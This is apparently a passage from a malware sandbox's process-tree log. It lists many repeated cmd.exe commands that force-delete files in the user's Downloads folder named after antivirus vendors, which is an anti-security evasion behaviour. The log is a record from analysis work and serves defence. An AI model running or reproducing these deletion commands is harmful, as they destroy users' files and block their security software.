  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3516
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:520
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4768
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3184
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2296
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3320
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2524
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4128
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:2148
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3276
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2104
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:2920
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2032
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4516
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4048
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:728
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1188
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4464
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1980
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:2724
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1952
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2956
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:2784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2132
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1328
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3280
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1588
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3456
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4868
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1292
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:1788
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1984
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1916
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:2332
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4808
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3852
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:2012
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5468
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5480
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5500
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5536
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5548
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5584
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5596
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5612
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5648
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5668
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5676
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5696
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5732
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5740
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5760
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5796
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5804
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5824
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5832
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5848
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5856
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5876
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5920
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5940
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5984
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:6028
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:6036
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:6056
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:6092
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:6100
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:6120
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5132
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5152
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5196
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5212
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5312
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5360
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5372
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5388
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:324
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:4804
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:3660
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:5060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4352
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3572
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:3676
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:1244
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1564
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5080
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3728
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1876
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:404
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:3060
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3316
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4568
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5240
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:3268
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:1412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:2396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:2380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:1900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:2652
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:4284
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1116
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1052
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4176
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3784
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:4424
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3900
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:2768
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:3912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5108
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4672
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1592
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4780
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4152
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:2644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:460
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1016
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:4736
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:4720
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:4692
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:4136
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:4416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5256
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5096
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:1480
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3888
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4512
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1748
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:1140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:3140
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:1744
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:3004
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5224
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:3880
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:5412
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:4396
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:3580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:4700
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:1224
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:2352
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:2264
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:260
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:1300
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:440
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:996
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*sophos*.* >nul 2>&1
  2⤵
  PID:1536
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avira*.* >nul 2>&1
  2⤵
  PID:3568
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*avast*.* >nul 2>&1
  2⤵
  PID:5472
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*ahnlab*.* >nul 2>&1
  2⤵
  PID:5464
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*bitdefender*.* >nul 2>&1
  2⤵
  PID:5504
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*clamav*.* >nul 2>&1
  2⤵
  PID:5552
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*drweb*.* >nul 2>&1
  2⤵
  PID:5564
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*nod32*.* >nul 2>&1
  2⤵
  PID:5580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*kaspersky*.* >nul 2>&1
  2⤵
  PID:5616
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*malwarebytes*.* >nul 2>&1
  2⤵
  PID:5296
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c del /f /q %userprofile%\downloads\*mcafee*.* >nul 2>&1
  2⤵
  PID:5664
- C:\Windows\SYSTEM32\cmd.exe
